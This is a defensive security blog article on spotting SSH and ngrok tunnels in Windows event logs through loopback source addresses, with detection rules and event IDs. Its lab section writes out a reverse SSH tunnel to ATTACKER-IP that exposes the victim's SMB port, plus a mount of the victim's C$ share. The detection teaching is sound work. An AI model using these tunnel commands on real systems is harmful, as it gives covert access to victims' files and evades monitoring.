Behind the Veil: Identifying Stealthy Tunnels in Windows Event Logs
What are tunneled connections? How to create them and how to detect them in Windows event logs?
General
In recent times, a concerning trend has emerged in the realm of cyber attacks — attackers are increasingly leveraging native Windows services (known as Living off the land attacks or LoTL attacks). This approach allows them to exploit legitimate system components, making their malicious activities harder to detect. One particularly effective technique used by these attackers is the utilization of tunneled connections, which serve as a covert means to conceal suspicious behavior. In this discussion, we will explore the concept of tunneled connections, the principle of “packet encapsulation” behind them, and the challenges they pose in identifying and blocking malicious IP addresses.
Understanding the concept of a tunneled connection
To grasp the concept of a tunneled connection, let us consider the following scenario: Prisoner A seeks to communicate with a friend outside the confines of the jail. However, any form of communication beyond immediate family members is strictly forbidden. In order to circumvent this restriction, Prisoner A devises a solution where he entrusts his family with relaying his message to his friend. Through this “tunneling” process, communication between Prisoner A and his friend is successfully established.
The metaphor of the prison draws a parallel between the rules governing prisons and the firewall rules that restrict outgoing traffic, meticulously scrutinizing the source and destination of each message (“packets”). In this analogy, the prisoner encapsulates his messages with headers, ensuring that his family receives a complete packet that includes the necessary routing information to reach his friends.
When considering the specific type of detection I wish to address, we delve into the realm of “tunneled connections” within our networks. Similar to web browsing, it is the client who initiates this type of connection. However, in the hands of an attacker, such conversations can serve as a means to conceal their illicit activities. It’s worth noting that a tunneled connection can accommodate multiple connections, resembling the functionality of a VPN. A VPN, in fact, represents one form of tunnel that provides additional capabilities alongside channel encryption between the client and the VPN server. In this article, I aim to explore two distinct methods of establishing a tunnel between the victim’s machine and the attacker.
Tunneling combined with port forwarding
When an attacker employs a tunneled connection using tools like OpenSSH, PuTTY, or ngrok, they often combine it with port forwarding. Port forwarding serves as a mechanism that enables the user to redirect traffic from one socket to another, irrespective of whether these sockets reside on the same machine or not. One common application of port forwarding is exposing a service behind NAT to the internet by configuring the router/firewall accordingly. In this scenario, a packet destined for a specific port arrives, and the firewall dutifully redirects it to the intended endpoint.
When an attacker utilizes a tunnelled connection, the connection itself is initiated by the victim’s machine, establishing a tunnel to the attacker. Consequently, any traffic passing through this tunnel becomes invisible to packet inspection devices. If all traffic is directed through this tunnel, the only visible communication in a PCAP would be the single conversation occurring between the victim’s machine and the attacker.
By leveraging the combination of an encrypted channel and port forwarding, attackers can expose a listening port on the victim’s side without detection. In the event that a connection is initiated to a service on the victim’s machine, the observed traffic would appear as originating from a random port towards the listening port. For instance, if a host is listening on port 445 for SMB connections, the captured connection would be identified as CLIENT-IP:RANDOM-PORT >> HOST-IP:445. However, in the case of a tunneled connection, the only visible connection would be from the host to the machine running the service that enables tunneling. As an example, the observed connection might appear as HOST-IP:RANDOM-PORT >> ATTACKER-IP:22 in the context of an SSH server.
What windows event logs can tell?
Certain Windows event logs can provide indications of a tunneled connection under specific circumstances. Typically, when a network service records an event with a source IP field that matches either the host IP itself or the loopback address, it strongly suggests the presence of a tunneled connection. Ordinarily, when someone logs into such services, it signifies remote access originating from a separate machine, and the source IP field in the log should reflect the connection’s origin. However, if the source IP field is the same as the loopback address or the host IP address, it indicates that the server is essentially connected to itself. Connecting to a network service like SMB (Event ID 5140/5145) or RDP (Event ID 1149) from the same machine is generally unnecessary and raises suspicion.
Detection Rules Summary
To summarize the article into detection rules:
RDP/SMB detaction rules:
EventID in (5140, 5145) AND SourceAddress in [127.0.0.1, ::1, $INVESTIGATED_HOST_IP]EventID == 1149 AND SourceNetworkAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP, ::%16777216)However, please note that events 5145 and 5140 may require enabling through group policy. Nonetheless, do not let this hinder your detection efforts. Event ID 4624 is enabled by default for successful logins. This event records logon types, where Logon type 3 indicates a network connection, 7 represents an unlock, and 10 denotes RDP connections. When the logon type is equal to 3, 7, or 10, and the IP Address field is the loopback address, it strongly indicates a connection through a tunnel.
Important: When the logon type is equal to 2, it is normal to have 127.0.0.1 in the IP address field. Pay attention to the logon type!
Event ID 4624 Detection Rule:
EventID == 4624 AND LogonType in (3, 7, 10) AND IPAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP)Event IDs to search for similar indicators in the Source IP address (or equivalent):
Security.evtx:
- 4624 — An account was successfully logged on. (logontype 3, 7, 10)
- 5156 — The Windows Filtering Platform has permitted a connection.
- 5140 — A network share object was accessed.
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational.evtx:
- 1149 — User authentication succeeded
RemoteDesktopServices-RDPCoreTS /Operational:
- 131 — The server accepted a new TCP connection from the client
TerminalServices-LocalSessionManager/Operational:
- 25 — Remote Desktop Services: Session reconnection succeeded
Note: Some RDP-related events may contain the keyword “LOCAL” in the IP field, which is a natural behavior and does not necessarily indicate a connection through a tunnel.
Here are the steps to try it yourself! Please note that this is not a recommendation to enable it on your network.
Enable logging of event ID 5140 on the “victim” machine.
- Press Winkey + R > Type “gpedit.msc” > Go to Computer Configuration/Windows Settings/Security Settings/Advanced Audit Policy/System Audit Policies…/Object Access/Audit File Share > Check all the checkboxes.
Start an SSH connection with port forwarding to the attacker machine. (Assuming you have already configured an SSH service)
ssh user@ATTACKER-IP -R 4450:localhost:445SMB connections can only be made to destination port 445, so let’s create port forwarding on the attacker’s machine.
sudo ssh user@localhost -R 445:localhost:4450
#Starting to listen on a well-known port requires high privileges.
Mount an SMB share; this is where the magic happens. 😊
sudo mount -t cif -ouser=USERNAME //127.0.0.1/C$ /mntCheck event logs on the victim’s machine.
Bonus fact
A while ago, I investigated a compromised server, but I struggled to identify the initial access point to the machine. Among the multitude of RDP connections logged in the Windows event logs, a specific entry grabbed my attention. It displayed the source IP address as “::%16777216”. Curiosity led me to conduct a quick Google search, which revealed that this source IP address is often associated with the usage of ngrok. However, since there was no concrete evidence of ngrok being used in this case, I decided to dig deeper and conduct further research. As a result, I discovered that this source IP address might also appear in other RDP tunneled connections. The inital access was made by drop and execute such a tool from another comporomised machine.
Written as part of the CYE “CyberTalks” series, to share personal knowledge gained from our real-world experience.
